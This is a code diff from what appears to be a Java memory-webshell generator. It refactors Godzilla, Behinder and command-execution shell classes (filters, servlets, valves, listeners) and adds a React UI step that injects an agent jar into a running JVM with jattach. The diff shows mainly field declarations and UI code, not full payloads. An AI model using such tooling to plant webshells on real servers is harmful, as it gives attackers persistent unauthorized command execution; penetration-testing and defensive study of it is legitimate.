* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaFilter extends ClassLoader implements Filter {
|
public class GodzillaFilter extends ClassLoader implements Filter {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaFilter() {
|
public GodzillaFilter() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.io.IOException;
|
|||||||
* @since 2024/12/15
|
* @since 2024/12/15
|
||||||
*/
|
*/
|
||||||
public class GodzillaServlet extends ClassLoader implements Servlet {
|
public class GodzillaServlet extends ClassLoader implements Servlet {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaServlet() {
|
public GodzillaServlet() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -15,11 +15,11 @@ import java.io.IOException;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaValve extends ClassLoader implements Valve {
|
public class GodzillaValve extends ClassLoader implements Valve {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -8,7 +8,7 @@ import java.io.IOException;
|
|||||||
* @since 2024/12/14
|
* @since 2024/12/14
|
||||||
*/
|
*/
|
||||||
public class SleepFilter implements Filter {
|
public class SleepFilter implements Filter {
|
||||||
private int second = 10;
|
public static int second = 10;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void destroy() {
|
public void destroy() {
|
||||||
|
|||||||
+1
-1
@@ -8,7 +8,7 @@ import javax.servlet.ServletRequestListener;
|
|||||||
* @since 2024/12/14
|
* @since 2024/12/14
|
||||||
*/
|
*/
|
||||||
public class SleepListener implements ServletRequestListener {
|
public class SleepListener implements ServletRequestListener {
|
||||||
private int second = 10;
|
private static int second = 10;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public void requestDestroyed(ServletRequestEvent sre) {
|
public void requestDestroyed(ServletRequestEvent sre) {
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.io.IOException;
|
|||||||
* @since 2024/12/14
|
* @since 2024/12/14
|
||||||
*/
|
*/
|
||||||
public class SleepValve implements Valve {
|
public class SleepValve implements Valve {
|
||||||
private int second = 10;
|
private static int second = 10;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Valve getNext() {
|
public Valve getNext() {
|
||||||
|
|||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public BehinderListener() {
|
public BehinderListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -14,7 +14,7 @@ import java.io.InputStream;
|
|||||||
*/
|
*/
|
||||||
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||||||
|
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
private Session session;
|
private Session session;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -20,9 +20,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderValve6 extends ClassLoader implements Valve {
|
public class BehinderValve6 extends ClassLoader implements Valve {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+3
-3
@@ -19,9 +19,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderValve7 extends ClassLoader implements Valve {
|
public class BehinderValve7 extends ClassLoader implements Valve {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -14,7 +14,7 @@ import java.io.InputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandValve6 implements Valve {
|
public class CommandValve6 implements Valve {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+1
-1
@@ -13,7 +13,7 @@ import java.io.InputStream;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandValve7 implements Valve {
|
public class CommandValve7 implements Valve {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+5
-5
@@ -16,11 +16,11 @@ import java.io.IOException;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaValve6 extends ClassLoader implements Valve {
|
public class GodzillaValve6 extends ClassLoader implements Valve {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+5
-5
@@ -15,11 +15,11 @@ import java.io.IOException;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaValve7 extends ClassLoader implements Valve {
|
public class GodzillaValve7 extends ClassLoader implements Valve {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
protected Valve next;
|
protected Valve next;
|
||||||
protected boolean asyncSupported;
|
protected boolean asyncSupported;
|
||||||
|
|
||||||
|
|||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public BehinderListener() {
|
public BehinderListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -13,7 +13,7 @@ import java.util.Map;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -15,11 +15,11 @@ import java.util.Map;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public BehinderListener() {
|
public BehinderListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -14,7 +14,7 @@ import java.io.InputStream;
|
|||||||
*/
|
*/
|
||||||
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
public class CommandWebSocket extends Endpoint implements MessageHandler.Whole<String> {
|
||||||
|
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
private Session session;
|
private Session session;
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+3
-3
@@ -16,9 +16,9 @@ import java.util.Map;
|
|||||||
* @since 2024/12/21
|
* @since 2024/12/21
|
||||||
*/
|
*/
|
||||||
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
public class BehinderListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public BehinderListener() {
|
public BehinderListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+1
-1
@@ -12,7 +12,7 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class CommandListener implements ServletRequestListener {
|
public class CommandListener implements ServletRequestListener {
|
||||||
public String paramName = "{{paramName}}";
|
public static String paramName;
|
||||||
|
|
||||||
public CommandListener() {
|
public CommandListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
+5
-5
@@ -14,11 +14,11 @@ import java.lang.reflect.Field;
|
|||||||
* @author ReaJason
|
* @author ReaJason
|
||||||
*/
|
*/
|
||||||
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
public class GodzillaListener extends ClassLoader implements ServletRequestListener {
|
||||||
public String key = "{{key}}";
|
public static String key;
|
||||||
public String pass = "{{pass}}";
|
public static String pass;
|
||||||
public String md5 = "{{md5}}";
|
public static String md5;
|
||||||
public String headerName = "{{headerName}}";
|
public static String headerName;
|
||||||
public String headerValue = "{{headerValue}}";
|
public static String headerValue;
|
||||||
|
|
||||||
public GodzillaListener() {
|
public GodzillaListener() {
|
||||||
}
|
}
|
||||||
|
|||||||
Binary file not shown.
+6
-5
@@ -13,8 +13,8 @@
|
|||||||
},
|
},
|
||||||
"devDependencies": {
|
"devDependencies": {
|
||||||
"@biomejs/biome": "1.9.4",
|
"@biomejs/biome": "1.9.4",
|
||||||
"@tanstack/router-plugin": "^1.92.11",
|
"@tanstack/router-plugin": "^1.93.0",
|
||||||
"@types/node": "^22.10.2",
|
"@types/node": "^22.10.3",
|
||||||
"@types/react": "^19.0.2",
|
"@types/react": "^19.0.2",
|
||||||
"@types/react-dom": "^19.0.2",
|
"@types/react-dom": "^19.0.2",
|
||||||
"@vitejs/plugin-react": "^4.3.4",
|
"@vitejs/plugin-react": "^4.3.4",
|
||||||
@@ -28,6 +28,7 @@
|
|||||||
},
|
},
|
||||||
"dependencies": {
|
"dependencies": {
|
||||||
"@hookform/resolvers": "^3.9.1",
|
"@hookform/resolvers": "^3.9.1",
|
||||||
|
"@radix-ui/react-alert-dialog": "^1.1.4",
|
||||||
"@radix-ui/react-checkbox": "^1.1.3",
|
"@radix-ui/react-checkbox": "^1.1.3",
|
||||||
"@radix-ui/react-dropdown-menu": "^2.1.4",
|
"@radix-ui/react-dropdown-menu": "^2.1.4",
|
||||||
"@radix-ui/react-label": "^2.1.1",
|
"@radix-ui/react-label": "^2.1.1",
|
||||||
@@ -39,14 +40,14 @@
|
|||||||
"@radix-ui/react-tabs": "^1.1.2",
|
"@radix-ui/react-tabs": "^1.1.2",
|
||||||
"@radix-ui/react-tooltip": "^1.1.6",
|
"@radix-ui/react-tooltip": "^1.1.6",
|
||||||
"@tanstack/react-query": "^5.62.11",
|
"@tanstack/react-query": "^5.62.11",
|
||||||
"@tanstack/react-router": "^1.92.11",
|
"@tanstack/react-router": "^1.93.0",
|
||||||
"@tanstack/router-devtools": "^1.92.11",
|
"@tanstack/router-devtools": "^1.93.0",
|
||||||
"react-copy-to-clipboard": "^5.1.0",
|
|
||||||
"class-variance-authority": "^0.7.1",
|
"class-variance-authority": "^0.7.1",
|
||||||
"clsx": "^2.1.1",
|
"clsx": "^2.1.1",
|
||||||
"lucide-react": "^0.469.0",
|
"lucide-react": "^0.469.0",
|
||||||
"next-themes": "^0.4.4",
|
"next-themes": "^0.4.4",
|
||||||
"react": "^19.0.0",
|
"react": "^19.0.0",
|
||||||
|
"react-copy-to-clipboard": "^5.1.0",
|
||||||
"react-dom": "^19.0.0",
|
"react-dom": "^19.0.0",
|
||||||
"react-hook-form": "^7.54.2",
|
"react-hook-form": "^7.54.2",
|
||||||
"react-syntax-highlighter": "^15.6.1",
|
"react-syntax-highlighter": "^15.6.1",
|
||||||
|
|||||||
@@ -1,4 +1,14 @@
|
|||||||
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
|
import { UrlPatternTip } from "@/components/tips/url-pattern-tip.tsx";
|
||||||
|
import {
|
||||||
|
AlertDialog,
|
||||||
|
AlertDialogAction,
|
||||||
|
AlertDialogCancel,
|
||||||
|
AlertDialogContent,
|
||||||
|
AlertDialogDescription,
|
||||||
|
AlertDialogFooter,
|
||||||
|
AlertDialogHeader,
|
||||||
|
AlertDialogTitle,
|
||||||
|
} from "@/components/ui/alert-dialog";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||||
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
|
import { FormControl, FormDescription, FormField, FormItem, FormLabel } from "@/components/ui/form.tsx";
|
||||||
import { Input } from "@/components/ui/input.tsx";
|
import { Input } from "@/components/ui/input.tsx";
|
||||||
@@ -9,6 +19,7 @@ import { Switch } from "@/components/ui/switch.tsx";
|
|||||||
import { FormSchema } from "@/types/schema.ts";
|
import { FormSchema } from "@/types/schema.ts";
|
||||||
import { MainConfig } from "@/types/shell.ts";
|
import { MainConfig } from "@/types/shell.ts";
|
||||||
import { ServerIcon } from "lucide-react";
|
import { ServerIcon } from "lucide-react";
|
||||||
|
|
||||||
import { useState } from "react";
|
import { useState } from "react";
|
||||||
import { FormProvider, UseFormReturn } from "react-hook-form";
|
import { FormProvider, UseFormReturn } from "react-hook-form";
|
||||||
|
|
||||||
@@ -33,6 +44,8 @@ export function MainConfigCard({
|
|||||||
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
|
const [shellToolMap, setShellToolMap] = useState<{ [toolName: string]: string[] }>();
|
||||||
const [shellTools, setShellTools] = useState<string[]>([]);
|
const [shellTools, setShellTools] = useState<string[]>([]);
|
||||||
const [shellTypes, setShellTypes] = useState<string[]>([]);
|
const [shellTypes, setShellTypes] = useState<string[]>([]);
|
||||||
|
const [openAgentConfirm, setOpenAgentConfirm] = useState(false);
|
||||||
|
const [currentShellType, setCurrentShellType] = useState<string>("");
|
||||||
|
|
||||||
const handleServerChange = (value: string) => {
|
const handleServerChange = (value: string) => {
|
||||||
if (mainConfig) {
|
if (mainConfig) {
|
||||||
@@ -121,7 +134,17 @@ export function MainConfigCard({
|
|||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="space-y-1">
|
<FormItem className="space-y-1">
|
||||||
<FormLabel>JRE(可选)</FormLabel>
|
<FormLabel>JRE(可选)</FormLabel>
|
||||||
<Select onValueChange={field.onChange} value={field.value}>
|
<Select
|
||||||
|
onValueChange={(v) => {
|
||||||
|
if (Number.parseInt(v) >= 53) {
|
||||||
|
form.setValue("bypassJavaModule", true);
|
||||||
|
} else {
|
||||||
|
form.setValue("bypassJavaModule", false);
|
||||||
|
}
|
||||||
|
field.onChange(v);
|
||||||
|
}}
|
||||||
|
value={field.value}
|
||||||
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<SelectTrigger className="h-8">
|
<SelectTrigger className="h-8">
|
||||||
<SelectValue placeholder="请选择" />
|
<SelectValue placeholder="请选择" />
|
||||||
@@ -224,7 +247,39 @@ export function MainConfigCard({
|
|||||||
render={({ field }) => (
|
render={({ field }) => (
|
||||||
<FormItem className="space-y-1">
|
<FormItem className="space-y-1">
|
||||||
<FormLabel>内存马挂载类型</FormLabel>
|
<FormLabel>内存马挂载类型</FormLabel>
|
||||||
<Select onValueChange={field.onChange} value={field.value}>
|
<AlertDialog open={openAgentConfirm} onOpenChange={setOpenAgentConfirm}>
|
||||||
|
<AlertDialogContent>
|
||||||
|
<AlertDialogHeader>
|
||||||
|
<AlertDialogTitle>Agent 注入当前仅支持 Java8 以上,是否仍要选择?</AlertDialogTitle>
|
||||||
|
<AlertDialogDescription>确认后会将 JRE 版本改为 Java8</AlertDialogDescription>
|
||||||
|
</AlertDialogHeader>
|
||||||
|
<AlertDialogFooter>
|
||||||
|
<AlertDialogCancel>Cancel</AlertDialogCancel>
|
||||||
|
<AlertDialogAction
|
||||||
|
onClick={() => {
|
||||||
|
form.setValue("targetJdkVersion", "52");
|
||||||
|
form.setValue("shellType", currentShellType);
|
||||||
|
}}
|
||||||
|
>
|
||||||
|
Confirm
|
||||||
|
</AlertDialogAction>
|
||||||
|
</AlertDialogFooter>
|
||||||
|
</AlertDialogContent>
|
||||||
|
</AlertDialog>
|
||||||
|
<Select
|
||||||
|
onValueChange={(v) => {
|
||||||
|
if (
|
||||||
|
v.startsWith("Agent") &&
|
||||||
|
Number.parseInt(form.getValues("targetJdkVersion") as string) === 50
|
||||||
|
) {
|
||||||
|
setOpenAgentConfirm(true);
|
||||||
|
setCurrentShellType(v);
|
||||||
|
} else {
|
||||||
|
field.onChange(v);
|
||||||
|
}
|
||||||
|
}}
|
||||||
|
value={field.value}
|
||||||
|
>
|
||||||
<FormControl>
|
<FormControl>
|
||||||
<SelectTrigger className="h-8">
|
<SelectTrigger className="h-8">
|
||||||
<SelectValue placeholder="请选择" />
|
<SelectValue placeholder="请选择" />
|
||||||
|
|||||||
@@ -4,17 +4,64 @@ import { Alert, AlertDescription, AlertTitle } from "@/components/ui/alert.tsx";
|
|||||||
import { Button } from "@/components/ui/button.tsx";
|
import { Button } from "@/components/ui/button.tsx";
|
||||||
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card.tsx";
|
||||||
import { Label } from "@/components/ui/label.tsx";
|
import { Label } from "@/components/ui/label.tsx";
|
||||||
|
import { Separator } from "@/components/ui/separator.tsx";
|
||||||
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
|
import { Tabs, TabsContent, TabsList, TabsTrigger } from "@/components/ui/tabs.tsx";
|
||||||
import { downloadJavaClass } from "@/lib/utils.ts";
|
import { downloadBytes } from "@/lib/utils.ts";
|
||||||
import { GenerateResult } from "@/types/shell.ts";
|
import { GenerateResult } from "@/types/shell.ts";
|
||||||
import { TicketsIcon, TriangleAlertIcon } from "lucide-react";
|
import { TicketsIcon, TriangleAlertIcon } from "lucide-react";
|
||||||
|
|
||||||
|
function AgentResult({ packResult, generateResult }: { packResult: string; generateResult?: GenerateResult }) {
|
||||||
|
return (
|
||||||
|
<section>
|
||||||
|
<ol className="list-decimal list-inside space-y-4">
|
||||||
|
<li className="flex items-center justify-between">
|
||||||
|
<span>下载 MemShellAgent.jar</span>
|
||||||
|
<Button
|
||||||
|
size="sm"
|
||||||
|
variant="outline"
|
||||||
|
className="w-28"
|
||||||
|
type="button"
|
||||||
|
onClick={() =>
|
||||||
|
downloadBytes(
|
||||||
|
packResult,
|
||||||
|
undefined,
|
||||||
|
`${generateResult?.shellConfig.server}${generateResult?.shellConfig.shellTool}MemShellAgent`,
|
||||||
|
)
|
||||||
|
}
|
||||||
|
>
|
||||||
|
下载 Jar
|
||||||
|
</Button>
|
||||||
|
</li>
|
||||||
|
<li className="flex items-center justify-between">
|
||||||
|
<span>下载 Jattach 工具(后期考虑直接封装在 Jar 中)</span>
|
||||||
|
<Button
|
||||||
|
size="sm"
|
||||||
|
variant="outline"
|
||||||
|
className="w-28"
|
||||||
|
type="button"
|
||||||
|
onClick={() => window.open("https://github.com/jattach/jattach/releases")}
|
||||||
|
>
|
||||||
|
下载 Jattach
|
||||||
|
</Button>
|
||||||
|
</li>
|
||||||
|
<Separator />
|
||||||
|
<h2 className="text-2xl font-bold mb-4">使用方法:</h2>
|
||||||
|
<li>将 MemShellAgent.jar 和 jattach 移动到容器中(如果测试环境使用容器部署)</li>
|
||||||
|
<li>获取目标 jvm 的进程 pid (使用 jps 或 ps)</li>
|
||||||
|
<li>执行命令进行注入:/path/to/jattach pid load instrument false /path/to/agent.jar</li>
|
||||||
|
<li>尝试连接测试</li>
|
||||||
|
</ol>
|
||||||
|
</section>
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
export function ShellResult({
|
export function ShellResult({
|
||||||
packResult,
|
packResult,
|
||||||
packMethod,
|
packMethod,
|
||||||
generateResult,
|
generateResult,
|
||||||
}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) {
|
}: { packResult: string; packMethod: string; generateResult?: GenerateResult }) {
|
||||||
const showCode = packMethod === "JSP";
|
const showCode = packMethod === "JSP";
|
||||||
|
const isAgent = packMethod.startsWith("Agent");
|
||||||
return (
|
return (
|
||||||
<Card className="h-full">
|
<Card className="h-full">
|
||||||
<CardHeader className="pb-2">
|
<CardHeader className="pb-2">
|
||||||
@@ -31,7 +78,7 @@ export function ShellResult({
|
|||||||
<TabsTrigger value="injector">注入器类</TabsTrigger>
|
<TabsTrigger value="injector">注入器类</TabsTrigger>
|
||||||
</TabsList>
|
</TabsList>
|
||||||
<TabsContent value="packResult" className="mt-4">
|
<TabsContent value="packResult" className="mt-4">
|
||||||
{generateResult && (
|
{generateResult && !isAgent && (
|
||||||
<div className="gap-4 my-2">
|
<div className="gap-4 my-2">
|
||||||
<CopyableField
|
<CopyableField
|
||||||
label="注入器类名"
|
label="注入器类名"
|
||||||
@@ -45,12 +92,15 @@ export function ShellResult({
|
|||||||
/>
|
/>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
{!isAgent && (
|
||||||
<CodeViewer
|
<CodeViewer
|
||||||
code={packResult}
|
code={packResult}
|
||||||
wrapLongLines={!showCode}
|
wrapLongLines={!showCode}
|
||||||
showLineNumbers={showCode}
|
showLineNumbers={showCode}
|
||||||
language={showCode ? "java" : "text"}
|
language={showCode ? "java" : "text"}
|
||||||
/>
|
/>
|
||||||
|
)}
|
||||||
|
{isAgent && <AgentResult packResult={packResult} generateResult={generateResult} />}
|
||||||
</TabsContent>
|
</TabsContent>
|
||||||
<TabsContent value="shell" className="mt-4">
|
<TabsContent value="shell" className="mt-4">
|
||||||
<Alert>
|
<Alert>
|
||||||
@@ -71,14 +121,17 @@ export function ShellResult({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
{generateResult && (
|
||||||
<Button
|
<Button
|
||||||
size="sm"
|
size="sm"
|
||||||
className="h-8 gap-1"
|
variant="outline"
|
||||||
|
className="w-28"
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() => downloadJavaClass(generateResult?.shellBytesBase64Str, generateResult?.shellClassName)}
|
onClick={() => downloadBytes(generateResult?.shellBytesBase64Str, generateResult?.shellClassName)}
|
||||||
>
|
>
|
||||||
下载 Class
|
下载 Class
|
||||||
</Button>
|
</Button>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
<CodeViewer
|
<CodeViewer
|
||||||
showLineNumbers={false}
|
showLineNumbers={false}
|
||||||
@@ -106,16 +159,19 @@ export function ShellResult({
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
)}
|
)}
|
||||||
|
{generateResult && (
|
||||||
<Button
|
<Button
|
||||||
size="sm"
|
size="sm"
|
||||||
className="h-8 gap-1"
|
className="w-28"
|
||||||
|
variant="outline"
|
||||||
type="button"
|
type="button"
|
||||||
onClick={() =>
|
onClick={() =>
|
||||||
downloadJavaClass(generateResult?.injectorBytesBase64Str, generateResult?.injectorClassName)
|
downloadBytes(generateResult?.injectorBytesBase64Str, generateResult?.injectorClassName)
|
||||||
}
|
}
|
||||||
>
|
>
|
||||||
下载 Class
|
下载 Class
|
||||||
</Button>
|
</Button>
|
||||||
|
)}
|
||||||
</div>
|
</div>
|
||||||
<CodeViewer
|
<CodeViewer
|
||||||
showLineNumbers={false}
|
showLineNumbers={false}
|
||||||
|
|||||||
@@ -11,6 +11,8 @@ export function UrlPatternTip() {
|
|||||||
<TooltipContent>
|
<TooltipContent>
|
||||||
<p>当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
<p>当使用 Servlet 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||||
<p>当使用 SpringMVC ControllerHandler 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
<p>当使用 SpringMVC ControllerHandler 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||||
|
<p>当使用 SpringWebFlux HandlerMethod 内存马时必须写具体的 urlPattern,不能使用 /*,不然无法使用</p>
|
||||||
|
